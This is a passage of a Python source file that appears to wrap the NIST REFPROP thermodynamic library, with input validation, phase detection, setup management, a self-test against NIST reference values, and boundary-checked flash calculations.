unexpected results.\n Furthermore these multiple model calls are not supported by function\n \"resetup' and consequentely in the extention module \"multiRP\"''')\n\n\ndef _outputierrcheck(ierr, herr, defname, prop):\n #_ierr correction, some unknown reason the value is\n # increased by 2**32\n ierr_max = 9999\n ierr_corr = 2**32\n if ierr > ierr_max:\n ierr = ierr - ((ierr + ierr_max) // ierr_corr) * ierr_corr\n def mes_string(ERorWA):\n string = '*' * 80 + '\\n'\n string += '*' * 80 + '\\n'\n string += ERorWA + ' raised' + '\\n'\n string += 'setup details' + '\\n'\n string += str(FluidModel()) + '\\n'\n string += 'refprop dll call details' + '\\n'\n string += str(defname) + '\\n'\n string += 'error details' + '\\n'\n string += str(ierr) + '\\n'\n string += str(herr) + '\\n'\n string += 'prop output' + '\\n'\n string += str(prop) + '\\n'\n string += '*' * 80 + '\\n'*3\n return string\n if ierr < 0 \\\n and str(SetWarning()) == 'on' \\\n and str(SetError()) == 'on': #raise warning\n #warning string\n if str(SetErrorDebug()) == 'on':\n print(mes_string('warning'))\n raise RefpropdllWarning(herr.decode('utf-8'))\n elif ierr > 0 and str(SetError()) == 'on': #raise error\n #error string\n if str(SetErrorDebug()) == 'on':\n print(mes_string('error'))\n raise RefpropdllError(herr.decode('utf-8'))\n\n\ndef _prop(**prop):\n global _fixicomp, _setupprop, _set\n prop.update(_setupprop)\n prop.update(_set)\n\n #local declarations\n icomp = prop.get('icomp')\n jcomp = prop.get('jcomp')\n nc = prop.get('nc')\n hfld = prop.get('hfld')\n _fixicomp = prop.get('fixicomp')\n ierr = prop.get('ierr')\n \n #one time hfld correction by icomp\n if icomp != None and nc != None:\n if icomp == 0 or icomp > nc:\n raise RefpropicompError ('undefined \"icomp: ' +\n str(icomp) + '\" value, select mixture component ' +\n 'number between 1 and ' + str(nc))\n prop['icomp'] = [icomp, hfld[icomp - 1]]\n\n #one time hfld correction by jcomp\n if jcomp != None and nc != None:\n if jcomp == 0 or jcomp > nc:\n raise RefpropicompError ('undefined \"jcomp: ' +\n str(jcomp) + '\" value, select mixture component ' +\n 'number between 1 and ' + str(nc))\n prop['jcomp'] = [jcomp, hfld[jcomp - 1]]\n\n #multiple time hfld correction by fixicomp / purefld\n if _fixicomp != None:\n del prop['fixicomp']\n\n #assign purefluid in prop\n if nc != None and _fixicomp != None and _fixicomp > nc:\n raise RefpropicompError ('undefined \"icomp: ' +\n str(_fixicomp) +\n '\" value, select mixture component ' +\n 'number below ' + str(nc))\n elif _fixicomp == 0:\n if 'purefld' in prop: del prop['purefld']\n elif nc != None and _fixicomp != None and 0 < _fixicomp <= nc:\n prop['purefld'] = [_fixicomp, hfld[_fixicomp - 1]]\n\n #raise error\n if ierr != None:\n _outputierrcheck(ierr, prop['herr'], prop['defname'], prop)\n del prop['ierr'], prop['herr'], prop['defname']\n\n return prop\n\n\ndef _inputerrorcheck(deflocals):\n if str(SetInputErrorCheck()) == 'off':\n return None\n #from time import time#\n checkstring = ['hmxnme', 'hrf', 'htype', 'hmix', 'path', 'routine',\n 'hmodij', 'hfmix']\n checkint = ['icomp', 'kph', 'nc', 'ixflag', 'kguess', 'ksat', 'jcomp', 'kq']\n checkfloat = ['t', 'D', 'h0', 's0', 't0', 'p0', 's', 'h', 'e', 'p', 'var1',\n 'var2', 'tbub', 'tdew', 'pbub', 'pdew', 'Dlbub', 'Dvdew',\n 'q', 'qkg', 'v']\n checklistcomp = ['x', 'xkg', 'xbub', 'xdew', 'xlkg', 'xvkg']\n checklist = ['fij', 'x0']\n checkliststring = ['hfld', 'hcomp']\n\n for key in deflocals:\n value = deflocals[key]\n if key in checkstring:\n if not type(value) == str:\n raise RefpropinputError ('expect \"str\" input for ' + key +\n ' instead of \"' +\n str(value.__class__) +'\"')\n elif key in checkint:\n if not type(value) == int:\n raise RefpropinputError ('expect \"int\" input for ' +\n key + ' instead of \"' +\n str(value.__class__) +'\"')\n elif key in checkfloat:\n if not type(value) == float \\\n and not type(value) == int:\n raise RefpropinputError ('expect \"float\" or \"int\" input for ' +\n key + ' instead of \"' +\n str(value.__class__) +'\"')\n elif key in checklistcomp:\n if not value: pass\n else:\n lenvalue = len(value)\n if not type(value) == list:\n raise RefpropinputError('expect \"list\" input for ' +\n key + ' instead of \"' +\n str(value.__class__) +\n '\"')\n elif lenvalue != _nc_rec.record:\n if '_purefld_rec' in _Setuprecord.object_list \\\n and lenvalue != 1:\n raise RefpropicompError('input value ' + key +\n ' does not match the setup '\n 'fluid selection.')\n elif '_purefld_rec' not in _Setuprecord.object_list:\n raise RefpropicompError('input value ' + key\n + ' does not match the setup '\n + 'fluid selection')\n if sum(value) != 1:\n raise RefpropnormalizeError('sum input value '\n + key + 'is unequal to 1')\n elif key in checklist:\n if not type(value) == list:\n raise RefpropinputError ('expect \"list\" input for ' +\n key + ' instead of \"' +\n str(value.__class__) +'\"')\n elif len(value) > _nmxpar:\n raise RefpropinputError ('input value ' + key\n + ' larger then max. value '\n + str(_nmxpar))\n elif key in checkliststring:\n for each in value:\n if type(each) == list:\n for other in each:\n if not type(other) == str:\n raise RefpropinputError ('expect \"list of str\"' +\n ''' or \"strs's\" input for ''' + str(each) +\n ' instead of \"' + str(other.__class__) +'\"')\n elif not type(each) == str:\n raise RefpropinputError ('expect \"list of str\" or' +\n ''' \"strs's\" input for ''' + str(each)\n + ' instead of \"' + str(each.__class__) +'\"')\n\n\ndef normalize(x):\n '''Normalize the sum of list x value's to 1'''\n lsum = sum\n x = [Decimal(each) for each in x]\n norm = lsum(x)\n while float(norm) != 1:\n x = [each / norm for each in x]\n norm = lsum(x)\n x = [float(each) for each in x]\n return _prop(x = x)\n\n\ndef getphase(fld):\n '''Return fluid phase\n\n input:\n fld--fluid dictionary containing:\n p--pressure\n t--temperature\n x--fluid composition\n q--quality (optional)*\n h--enthalpy (optional)*\n s--entropy (optional)*\n *one of these three needs to be included\n output:\n fluid phase:\n \"vapor\"--vapor phase\n \"saturated vapor\"--fluid at dew point\n \"gas\"--gasious phase (e.g. above critical temperature\n \"liquid\"--liquid phase\n \"saturated liquid\"--fluid at bubble point\n \"compressible liquid\"--(e.g. above critical pressure)\n \"Supercritical fluid\"\n \"2 phase\"--both liquid and vapor phase\"'''\n _inputerrorcheck(locals())\n #get critical parameters\n crit = critp(fld['x'])\n #check if fld above critical pressure\n if fld['p'] > crit['pcrit']:\n #check if fld above critical pressure\n if fld['t'] > crit['tcrit']:\n return \"Supercritical fluid\"\n else:\n return \"compressible liquid\"\n #check if fld above critical pressure\n elif fld['t'] > crit['tcrit']:\n return \"gas\"\n #check if ['q'] in fld\n if not 'q' in fld:\n if 'h' in fld:\n fld['q'] = flsh('ph', fld['p'], fld['h'], fld['x'])['q']\n elif 's' in fld:\n fld['q'] = flsh('ps', fld['p'], fld['s'], fld['x'])['q']\n #check q\n if fld['q'] > 1:\n return \"vapor\"\n elif fld['q'] == 1:\n return \"saturated vapor\"\n elif 0 < fld['q'] < 1:\n return \"2 phase\"\n elif fld['q'] == 0:\n return \"saturated liquid\"\n elif fld['q'] < 0:\n return \"liquid\"\n\n\ndef fluidlib():\n '''Displays all fluids and mixtures available on root directory. If root\n other then default directories:\n 'c:/program files/refprop/'\n 'c:/program files (x86)/refprop/'\n '/usr/local/lib/refprop/\n call setpath to correct'''\n return _fluidextention()\n\n\ndef _fluidextention():\n \"\"\"return fluid library\"\"\"\n global _fldext, _fpath\n if _fldext == {}:\n fldext = {}\n fluidslistdir = listdir(_fpath + 'fluids/')\n mixtureslistdir = listdir(_fpath + 'mixtures/')\n fldext[_fpath + 'fluids/'] = [(each[:-4].upper()) for each in\n fluidslistdir if\n fnmatch(each, '*.FLD')]\n fldext[_fpath + 'fluids/'].extend([each for each in fluidslistdir\n if fnmatch(each, '*.PPF')])\n fldext[_fpath + 'mixtures/'] = [(each[:-4].upper()) for each in\n mixtureslistdir if fnmatch\n (each, '*.MIX')]\n _fldext = fldext.copy()\n return _fldext\n\n\ndef resetup(prop, force=False):\n '''Resetup models and re-initialize arrays.\n\n This will compare the loaded models vs requested model and re-setup\n refprop models if deemed required in the following sequence:\n setmod / gerg04\n setup\n setktv\n preos\n setaga\n setref\n purefld\n\n This enables calculating of dual fluid flows through exchangers, static\n mixures etc.\n\n input:\n props--standard dictinary output from refprop functions\n force--force resetup (True or False (standard input)'''\n global _gerg04_pre_rec, _setmod_pre_rec\n prop = setup_details(prop)\n #only resetup if loaded models are unequal to request (or force)\n if force == True or setup_setting() != prop:\n #delete any pre-setup request such as gerg04 and setmod\n if '_setmod_pre_rec' in _Setuprecord.object_list:\n _setmod_pre_rec = None\n if '_gerg04_pre_rec' in _Setuprecord.object_list:\n _gerg04_pre_rec = None\n\n #initialize setmod if deemed req.\n stmd = prop.get('setmod')\n if stmd != None:\n setmod(stmd['htype'],\n stmd['hmix'],\n stmd['hcomp'])\n\n #initialize gerg04 if deemed req.\n grg4 = prop.get('gerg04')\n if grg4 != None:\n gerg04(grg4['ixflag'])\n\n #initialize setup:\n hmxnme = prop.get('hmxnme')\n if hmxnme != None:\n setup(prop['hrf'], hmxnme, hfmix=prop['hfmix'])\n else:\n setup(prop['hrf'], prop['hfld'], hfmix=prop['hfmix'])\n\n #initialize setktv\n stktv = prop.get('setktv')\n if stktv != None:\n setktv(stktv['icomp'],\n stktv['jcomp'],\n stktv['hmodij'],\n stktv['fij'],\n stktv['hfmix'])\n\n #initialize preos\n prs = prop.get('preos')\n if prs != None:\n preos(prs['ixflag'])\n\n #initialize setaga\n stg = prop.get('setaga')\n if stg != None:\n setaga()\n\n #initialize setref\n strf = prop.get('setref')\n if strf != None:\n if not 'ixflag' in strf:\n prop['setref']['ixflag'] = 1\n if not 'x0' in strf:\n prop['setref']['x0'] = [1]\n if not 'h0' in strf:\n prop['setref']['h0'] = 0\n if not 's0' in strf:\n prop['setref']['s0'] = 0\n if not 't0' in strf:\n prop['setref']['t0'] = 273\n if not 'p0' in strf:\n prop['setref']['p0'] =100\n setref(strf['hrf'][0],\n strf['ixflag'],\n strf['x0'],\n strf['h0'],\n strf['s0'],\n strf['t0'],\n strf['p0'])\n if len(strf['hrf']) == 2:\n setref(strf['hrf'][1],\n strf['ixflag'],\n strf['x0'],\n strf['h0'],\n strf['s0'],\n strf['t0'],\n strf['p0'])\n\n #initialize purefld\n prfld = prop.get('purefluid')\n if prfld != None:\n purefld(prfld[0])\n\n #reset SetError\n if 'SetError' in prop:\n SetError.off()\n else: SetError.on()\n\n #reset SetWarning\n if 'SetWarning' in prop:\n SetWarning.off()\n else: SetWarning.on()\n\n #reset SetErrorDebug\n if 'SetDebug' in prop:\n SetErrorDebug.on()\n else: SetErrorDebug.off()\n\n #reset SetInputErrorCheck\n if 'SetInputErrorCheck' in prop:\n SetInputErrorCheck.off()\n else: SetInputErrorCheck.on()\n\n return setup_details(_prop())\n\n\ndef setup_setting():\n '''Returns current loaded setup settings\n output--Minimized dict. with basic refprop settings'''\n return setup_details(_prop())\n\n\ndef setup_details(prop):\n '''Returns basic setup details of input fluid.\n\n Setup details from the following module functions:\n setmod / gerg04\n setup\n setktv\n preos\n setags\n setref\n purefld\n\n input:\n prop--standard dictinary output from refprop functions\n output\n prop--Minimized dict. with basic refprop settings'''\n prps = {}\n\n if prop.__class__ == dict:\n #setmod\n if 'setmod' in prop:\n prps['setmod'] = prop['setmod']\n\n #gerg04\n if 'gerg04' in prop:\n prps['gerg04'] = prop['gerg04']\n\n #setup\n if 'hrf' in prop:\n prps['hrf'] = prop['hrf']\n if 'hfld' in prop:\n prps['hfld'] = prop['hfld']\n if 'hfmix' in prop:\n prps['hfmix'] = prop['hfmix']\n if 'hmxnme' in prop:\n prps['hmxnme'] = prop['hmxnme']\n if 'nc' in prop:\n prps['nc'] = prop['nc']\n\n #setktv\n if 'setktv' in prop:\n prps['setktv'] = prop['setktv']\n\n #preos\n if 'preos' in prop:\n prps['preos'] = prop['preos']\n\n #setaga\n if 'setaga' in prop:\n prps['setaga'] = prop['setaga']\n\n #setref\n if 'setref' in prop:\n prps['setref'] = prop['setref']\n\n #purefld\n if 'purefld' in prop:\n prps['purefld'] = prop['purefld']\n\n #seterror\n if 'SetError' in prop:\n prps['SetError'] = 'off'\n\n #setwarning\n if 'SetWarning' in prop:\n prps['SetWarning'] = 'off'\n\n #seterrordebug\n if 'SetDebug' in prop:\n prps['SetDebug'] = 'on'\n\n #setinputerrorceck\n if 'SetInputErrorCheck' in prop:\n prps['SetInputErrorCheck'] = 'off'\n\n return prps\n\n\ndef _test():\n '''execute detailed test run of refprop'''\n import rptest\n rptest.settest('refprop')\n\n\ndef test(criteria=0.00001):\n '''verify that the user's computer is returning proper calculations The\n calculated values are compared with NIST calculated values.\n\n The percent difference between Calculated and NIST should be within the\n acceptance criteria '0.00001' is standard.\n\n input:\n criteria--acceptance criteria between Calculated and NIST value\n output:\n print screen of NIST value, Calculated value, abs. difference and\n True / False for acceptance.'''\n global testresult\n truefalse = True\n testresult = ''\n\n #create def for printout\n def printresults(nist, calculated, truefalse):\n global testresult\n calculated = float(calculated)\n testresult += '\\nNIST = ' + str(nist)\n testresult += '\\nCalculated = ' + str(calculated)\n testresult += '\\nabs relative difference = ' + str(\n abs((nist - calculated) / nist))\n testresult += '\\n' + str(abs((nist - calculated) / nist) <\n criteria) + '\\n\\n'\n truefalse = truefalse and abs((nist - calculated) / nist) < criteria\n return truefalse\n\n #SetWarning off due to many warnings displayed\n if str(SetWarning()) == 'off':\n sw = SetWarning.off\n elif str(SetWarning()) == 'on':\n sw = SetWarning.on\n SetWarning.off()\n\n #test no. 1\n prop = setup('def', 'air')\n prop = wmol(prop['x'])\n testresult += 'check molar mass of air'\n truefalse = printresults(28.958600656, prop['wmix'], truefalse)\n\n #test no. 2\n setup('def', 'argon')\n prop = flsh('pD', 2 * 1000, 15 / wmol([1])['wmix'], [1])\n testresult += 'check temperature of Argon'\n truefalse = printresults(637.377588657857, prop['t'], truefalse)\n\n #test no. 3\n setup('def', 'r134a')\n prop = flsh('tD', 400, 50 / wmol([1])['wmix'], [1])\n testresult += 'check pressure of r134a'\n truefalse = printresults(1.45691892789737, prop['p'] / 1000, truefalse)\n\n ##test no. 4\n #setup('def', 'ethylene')\n #setref(ixflag=2, x0=[1])\n #wmix = wmol([1])['wmix']\n #prop = flsh('ts', 300, 3 * wmix, [1])\n #testresult += 'check enthalphy of ethylene'\n #truefalse = printresults(684.996521090598, prop['h'] / wmix, truefalse)\n ##NIST(as per spreadsheet) = 684.996521090598\n ##Calculated(confirmed by NIST GUI) = 651.5166149584808\n\n #test no. 5\n setup('def', 'oxygen')\n prop = trnprp(100, tprho(100, 1 * 1000, [1], 1)['D'], [1])\n testresult += 'check Viscosity of Oxygen'\n truefalse = printresults(153.886680663753, prop['eta'], truefalse)\n\n #test no. 6\n setup('def', 'nitrogen')\n prop = trnprp(100, satt(100, [1], 1)['Dliq'], [1])\n testresult += 'check Thermal Conductivity of Nitrogen'\n truefalse = printresults(100.111748964945, prop['tcx'] * 1000, truefalse)\n\n #test no. 7\n setup('def', 'air')\n x = setup('def', 'air')['x']\n setref(ixflag=2, x0=x)\n wmix = wmol(x)['wmix']\n prop = tprho(((70 - 32) * 5 / 9) + 273.15, 14.7 / 14.50377377 * (10**5) / 1000, x)\n testresult += 'check Density of Air'\n truefalse = printresults(0.0749156384666842, prop['D'] * wmix * 0.062427974,\n truefalse)\n\n #test no. 8\n setup('def', 'R32', 'R125')\n x = [0.3, 0.7]\n '''Use the following line to calculate enthalpies and entropies on a\n reference state based on the currently defined mixture, or to change to\n some other reference state. The routine does not have to be called, but\n doing so will cause calculations to be the same as those produced from\n the graphical interface for mixtures.'''\n setref(ixflag=2, x0=x)\n prop = flsh('ps', 10 * 1000, 110, x)\n testresult += 'check enthalpy of R32 / R125'\n truefalse = printresults(23643.993624382, prop['h'], truefalse)\n\n #test no. 9\n setup('def', 'ethane', 'butane')\n x = xmole([0.5, 0.5])['x']\n setref(ixflag=2, x0=x)\n wmix = wmol(x)['wmix']\n prop = flsh('dh', 30 * 0.45359237 / 0.028316846592 / wmix, 283 *\n 1.05435026448889 / 0.45359237 * wmix, x)\n testresult += 'check Temperature of Ethene / Butane'\n truefalse = printresults(298.431320311048, ((prop['t'] - 273.15) * 9 / 5) + 32,\n truefalse)\n\n #test no. 10\n setup('def', 'ammonia', 'water')\n x = [0.4, 0.6]\n setref(ixflag=2, x0=x)\n prop = flsh('tp', ((300 - 32) * 5 / 9) + 273.15, 10000 / 14.50377377 *\n (10**5) / 1000, x)\n testresult += 'check speed of Sound of Ammonia / water'\n truefalse = printresults(5536.79144924071, prop['w'] * 1000 / 25.4 / 12,\n truefalse)\n\n #test no. 11\n setup('def', 'r218', 'r123')\n x = [0.1, 0.9]\n setref(ixflag=2, x0=x)\n wmix = wmol(x)['wmix']\n prop = flsh('ph', 7 * 1000, 180 * wmix, x)\n testresult += 'check Density of R218 / R123'\n truefalse = printresults(1.60040403489036, prop['D'] * wmix / 1000, truefalse)\n\n #test no. 12\n setup('def', 'methane', 'ethane')\n x = xmole(normalize([40, 60])['x'])['x']\n wmix = wmol(x)['wmix']\n prop = flsh('tD', 200, 300 / wmix, x)\n prop = qmass(prop['q'], prop['xliq'], prop['xvap'])\n testresult += 'check quality of methane / ethane'\n truefalse = printresults(0.0386417701326453, prop['qkg'], truefalse)\n\n #test no. 13\n setup('def', 'methane', 'ethane')\n x = xmole(normalize([40, 60])['x'])['x']\n setref(ixflag=2, x0=x)\n prop = flsh('tp', 200, 2.8145509 * 1000, x)\n prop = qmass(prop['q'], prop['xliq'], prop['xvap'])\n testresult += 'check quality of methane / ethane'\n truefalse = printresults(0.0386406167132601, prop['qkg'], truefalse)\n #NIST = 0.0386406167132601\n #Calculated = 1.0297826927241274\n\n #test no. 14\n setup('def', 'methane', 'ethane')\n x = xmole(normalize([40, 60])['x'])['x']\n setref(ixflag=2, x0=x)\n prop = flsh('tp', 200, 2814.5509, x)\n testresult += 'check quality of methane / ethane'\n truefalse = printresults(0.0500926636198064, prop['q'], truefalse)\n\n #test no. 15\n setup('def', 'octane')\n wmix = wmol([1])['wmix']\n prop = satt(100 + 273.15, [1])\n Dliq = prop['Dliq']\n Dvap = prop['Dvap']\n prop = therm(100 + 273.15, Dliq, [1])\n hliq = prop['h']\n prop = therm(100 + 273.15, Dvap, [1])\n hvap = prop['h']\n testresult += 'check Heat of Vaporization of Octane'\n truefalse = printresults(319.167499870568, (hvap - hliq) / wmix, truefalse)\n\n #test no. 16\n setup('def', 'butane', 'hexane')\n x = [0.25, 0.75]\n setref(ixflag=2, x0=x)\n testresult += 'check viscosity of Butane / Hexane'\n truefalse = printresults(283.724837443674,\n trnprp(300, flsh('th', 300, -21 * wmol(x)['wmix'],\n x, 2)['D'], x)['eta'],\n truefalse)\n\n #test no. 17\n setup('def', 'CO2', 'nitrogen')\n x = xmole([0.5, 0.5])['x']\n setref(ixflag=2, x0=x)\n wmix = wmol(x)['wmix']\n prop = flsh('th', 250, 220 * wmix, x, 2)\n prop = trnprp(250, prop['D'], x)\n testresult += 'check Thermal Conductivity of CO2 / Nitrogen'\n truefalse = printresults(120.984794685581, prop['tcx'] * 1000, truefalse)\n\n #test no. 18\n setup('def', 'ethane', 'propane')\n prop = satt(300, [0.5, 0.5])\n prop = dielec(300, prop['Dvap'], [0.5, 0.5])\n testresult += 'check Dielectric Constant of Ethane / Propane'\n truefalse = printresults(1.03705806204418, prop['de'], truefalse)\n\n #test no. 19\n prop = setup('def', 'R410A')\n testresult += 'check Mole Fraction of R410A'\n truefalse = printresults(0.697614699375863, prop['x'][0], truefalse)\n\n #test no. 20\n prop = xmass(prop['x'])\n testresult += 'check mass Fraction of R410A'\n truefalse = printresults(0.5, prop['xkg'][0], truefalse)\n\n #test no. 21\n prop = xmole(prop['xkg'])\n testresult += 'check mole Fraction of R410A'\n truefalse = printresults(0.697614699375862, prop['x'][0], truefalse)\n\n #test no. 22\n setup('def', 'Methane', 'Ethane', 'Propane', 'Butane')\n x = [0.7, 0.2, 0.05, 0.05]\n setref(ixflag=2, x0=x)\n wmix = wmol(x)['wmix']\n prop = flsh('td', 150, 200 / wmix, x)\n Dliq = prop['Dliq']\n wmix = wmol(prop['xliq'])['wmix']\n testresult += 'check Liquid Density of Methane / Ethane / Propane / Butane'\n truefalse = printresults(481.276038325628, Dliq * wmix, truefalse)\n\n #restore SetWarning to original value\n sw()\n\n return(truefalse)\n\n\ndef psliq(p, s, x):\n '''flsh1 calculations with boundery check, raise RefpropinputError when\n input is outside bounderies\n\n Inputs:\n p--pressure [kPa]\n s--entropy [J/(mol*K)]\n x--composition [array of mol frac]'''\n #check if input is in critical region\n pcrit = critp(x)['pcrit']\n if p > pcrit:\n raise RefpropinputError('p value input is critical condition')\n\n #calculate the properties (t and D)\n prop = flsh1('ps', p, s, x, 1)\n t = prop['t']\n D = prop['D']\n\n #check if input is with liquid stage\n tbub = satp(p, x, 1)['t']\n if t >= tbub:\n raise RefpropinputError('value input is not liquid condition')\n\n #check if input is with general refprop bounderies\n try:\n limitx(x, 'EOS', t, D, p)\n except RefpropWarning:\n pass\n\n #get remaining values\n prop = therm(t, D, x)\n\n #add q\n prop['q'] = -1\n\n #correct input values\n prop['p'] = p\n prop['s'] = s\n\n #return full properties\n return prop\n\n\ndef psvap(p, s, x):\n '''flsh1 calculations with boundery check, raise RefpropinputError when\n input is outside bounderies\n\n Inputs:\n p--pressure [kPa]\n s--entropy [J/(mol*K)]\n x--composition [array of mol frac]'''\n #check if input is in critical region (pressure)\n prop = critp(x)\n pcrit = prop['pcrit']\n tcrit = prop['tcrit']\n if p > pcrit:\n raise RefpropinputError('p value input is critical condition')\n\n #calculate the properties (t and D)\n prop = flsh1('ps', p, s, x, 2)\n t = prop['t']\n D = prop['D']\n\n #check if input is in critical region (temperature)\n if t > tcrit:\n raise RefpropinputError('value input is critical condition')\n\n #check if input is with gas stage\n tdew = satp(p, x, 2)['t']\n if t <= tdew:\n raise RefpropinputError('value input is not gas condition')\n\n #check if input is with general refprop bounderies\n try:\n limitx(x, 'EOS', t, D, p)\n except RefpropWarning:\n pass\n\n #get values\n prop = therm(t, D, x)\n\n #add q\n prop['q'] = 2\n\n #correct input values\n prop['p'] = p\n prop['s'] = s\n\n #return full properties\n return prop\n\n\ndef ps2ph(p, s, x):\n '''flsh2 calculations with boundery check, raise RefpropinputError when\n input is outside bounderies\n\n Inputs:\n p--pressure [kPa]\n s--entropy [J/(mol*K)]\n x--composition [array of mol frac]'''\n #check if input is in critical region\n pcrit = critp(x)['pcrit']\n if p > pcrit:\n raise RefpropinputError('p value input is critical condition')\n\n #calculate the properties\n prop = _abfl2('ps', p, s, x)\n D = prop['D']\n t = prop['t']\n Dliq = prop['Dliq']\n Dvap = prop['Dvap']\n q = prop['q']\n xliq = prop['xliq']\n xvap = prop['xvap']\n\n #calculate properties at bubble point\n propliq = therm(t, Dliq, xliq)\n\n #calculate properties at cond. point\n propvap = therm(t, Dvap, xvap)\n\n #calculate e and h\n prop['e'] = (1 - q) * propliq['e'] + q * propvap['e']\n prop['h'] = (1 - q) * propliq['h'] + q * propvap['h']\n\n #check if input is within 2 phase stage\n tbub = prop['tbub']\n tdew = prop['tdew']\n if not tbub < t < tdew:\n raise RefpropinputError('value input is not 2-phase condition')\n\n #check if input is with general refprop bounderies\n try:\n limitx(x, 'EOS', t, D, p)\n except RefpropWarning:\n pass\n\n #return values\n return prop\n\n\ndef phliq(p, h, x):\n '''flsh1 calculations with boundery check, raise RefpropinputError when\n input is outside bounderies\n\n Inputs:\n p--pressure [kPa]\n h--enthalpy [J/mol]\n x--composition [array of mol frac]'''\n #check if input is in critical region\n pcrit = critp(x)['pcrit']\n if p > pcrit:\n raise RefpropinputError('p value input is critical condition')\n\n #calculate the properties (t and D)\n prop = flsh1('ph', p, h, x, 1)\n t = prop['t']\n D = prop['D']\n\n #check if input is with liquid stage\n tbub = satp(p, x, 1)['t']\n if t >= tbub:\n raise RefpropinputError('value input is not liquid condition')\n\n #check if input is with general refprop bounderies\n try:\n limitx(x, 'EOS', t, D, p)\n except RefpropWarning:\n pass\n\n #get values\n prop = therm(t, D, x)\n\n #add q\n prop['q'] = -1\n\n #correct input values\n prop['p'] = p\n prop['h'] = h\n\n #return full properties\n return prop\n\n\ndef phvap(p, h, x):\n '''flsh1 calculations with boundery check, raise RefpropinputError when\n input is outside bounderies\n\n Inputs:\n p--pressure [kPa]\n h--enthalpy [J/mol]\n x--composition [array of mol frac]'''\n #check if input is in critical region (pressure)\n prop = critp(x)\n pcrit = prop['pcrit']\n tcrit = prop['tcrit']\n if p > pcrit:\n raise RefpropinputError('p value input is critical condition')\n\n #calculate the properties (t and D)\n prop = flsh1('ph', p, h, x, 2)\n t = prop['t']\n D = prop['D']\n\n #check if input is in critical region (temperature)\n if t > tcrit:\n raise RefpropinputError('value input is critical condition')\n\n #check if input is with gas stage\n tdew = satp(p, x, 2)['t']\n if t <= tdew:\n raise RefpropinputError('value input is not gas condition')\n\n #check if input is with general refprop bounderies\n try:\n limitx(x, 'EOS', t, D, p)\n except RefpropWarning:\n pass\n\n #get values\n prop = therm(t, D, x)\n\n #add q\n prop['q'] = 2\n\n #correct input values\n prop['p'] = p\n prop['h'] = h\n\n #return full properties\n return prop\n\n\ndef ph2ph(p, h, x):\n '''flsh2 calculations with boundery check, raise RefpropinputError when\n input is outside bounderies\n\n Inputs:\n p--pressure [kPa]\n h--enthalpy [J/mol]\n x--composition [array of mol frac]'''\n #check if input is in critical region\n pcrit = critp(x)['pcrit']\n if p > pcrit:\n raise RefpropinputError('p value input is critical condition')\n\n #calculate the properties\n prop = _abfl2('ph', p, h, x)\n D = prop['D']\n t = prop['t']\n Dliq = prop['Dliq']\n Dvap = prop['Dvap']\n q = prop['q']\n xliq = prop['xliq']\n xvap = prop['xvap']\n\n #calculate properties at bubble point\n propliq = therm(t, Dliq, xliq)\n\n #calculate properties at cond. point\n propvap = therm(t, Dvap, xvap)\n\n #calculate e and h\n prop['e'] = (1 - q) * propliq['e'] + q * propvap['e']\n prop['s'] = (1 - q) * propliq['s'] + q * propvap['s']\n\n #check if input is within 2 phase stage\n tbub = prop['tbub']\n tdew = prop['tdew']\n if not tbub < t < tdew:\n raise RefpropinputError('value input is not 2-phase condition')\n\n #check if input is with general refprop bounderies\n try:\n limitx(x, 'EOS', t, D, p)\n except RefpropWarning:\n pass\n\n #return values\n return prop\n\n\ndef setpath(path=None):\n '''Set Directory to refprop root containing fluids and mixtures. Default\n value = '/usr/local/lib/refprop/'.\n This function must be called before\n SETUP if path is not default. Note, all fluids and mixtures to be filed\n under root/fluids and root/mixtures. Input in string format.\n '''\n global _purefld_rec, _setref_rec, _setaga_rec, _preos_rec\n global _gerg04_pre_rec, _gerg04_rec, _setmod_pre_rec, _setmod_rec\n global _setup_rec, _setktv_rec, _fixicomp, _fpath\n \n #reset fixicomp from def purefld()\n _fixicomp = 0\n\n #local declaration\n object_list = _Setuprecord.object_list\n\n if '_purefld_rec' in object_list:\n _purefld_rec = None\n if '_setref_rec' in object_list:\n _setref_rec = None\n if '_setaga_rec' in object_list:\n _setaga_rec = None\n if '_preos_rec' in object_list:\n _preos_rec = None\n if '_setktv_rec' in object_list:\n _setktv_rec = None\n if '_gerg04_pre_rec' in object_list:\n _gerg04_pre_rec = None\n if '_gerg04_rec' in object_list:\n _gerg04_rec = None\n if '_setmod_pre_rec' in object_list:\n _setmod_pre_rec = None\n if '_setmod_rec' in object_list:\n _setmod_rec = None\n if '_setup_rec' in object_list:\n _setup_rec = None\n\n #load refprop\n path = _loadfile(path)\n\n #set global path value\n _fpath = path\n\n\ndef _loadfile(fpath):\n global _rpsetup0_, _rpsetmod_, _rpgerg04_, _rpsetref_, _rpsetmix_, \\\n _rpcritp_, _rptherm_, _rptherm0_, _rpresidual_, _rptherm2_, \\\n _rptherm3_, _rpchempot_, _rppurefld_, _rpname_, _rpentro_, \\\n _rpenthal_, _rpcvcp_, _rpcvcpk_, _rpgibbs_, _rpag_, _rppress_, \\\n _rpdpdd_, _rpdpddk_, _rpdpdd2_, _rpdpdt_, _rpdpdtk_, _rpdddp_, \\\n _rpdddt_, _rpdcdt_, _rpdcdt2_, _rpdhd1_, _rpfugcof_, _rpdbdt_, \\\n _rpvirb_, _rpvirc_, _rpvird_, _rpvirba_, _rpvirca_, _rpsatt_, \\\n _rpsatp_, _rpsatd_, _rpsath_, _rpsate_, _rpsats_, _rpcsatk_, \\\n _rpdptsatk_, _rpcv2pk_, _rptprho_, _rptpflsh_, _rptdflsh_, \\\n _rpthflsh_, _rptsflsh_, _rpteflsh_, _rppdflsh_, _rpphflsh_, \\\n _rppsflsh_, _rppeflsh_, _rphsflsh_, _rpesflsh_, _rpdhflsh_, \\\n _rpdsflsh_, _rpdeflsh_, _rptqflsh_, _rppqflsh_, _rpthfl1_, \\\n _rptsfl1_, _rptefl1_, _rppdfl1_, _rpphfl1_, _rppsfl1_, _rppefl1_, \\\n _rphsfl1_, _rpdhfl1_, _rpdsfl1_, _rpdefl1_, _rptpfl2_, _rpdhfl2_, \\\n _rpdsfl2_, _rpdefl2_, _rpthfl2_, _rptsfl2_, _rptefl2_, _rptdfl2_, \\\n _rppdfl2_, _rpphfl2_, _rppsfl2_, _rppefl2_, _rptqfl2_, _rppqfl2_, \\\n _rpabfl2_, _rpinfo_, _rprmix2_, _rpxmass_, _rpxmole_, _rplimitx_, \\\n _rplimitk_, _rplimits_, _rpqmass_, _rpqmole_, _rpwmoldll_, \\\n _rpdielec_, _rpsurft_, _rpsurten_, _rpmeltt_, _rpmeltp_, _rpsublt_, \\\n _rpsublp_, _rptrnprp_, _rpgetktv_, _rpgetmod_, _rpsetktv_, \\\n _rpsetaga_, 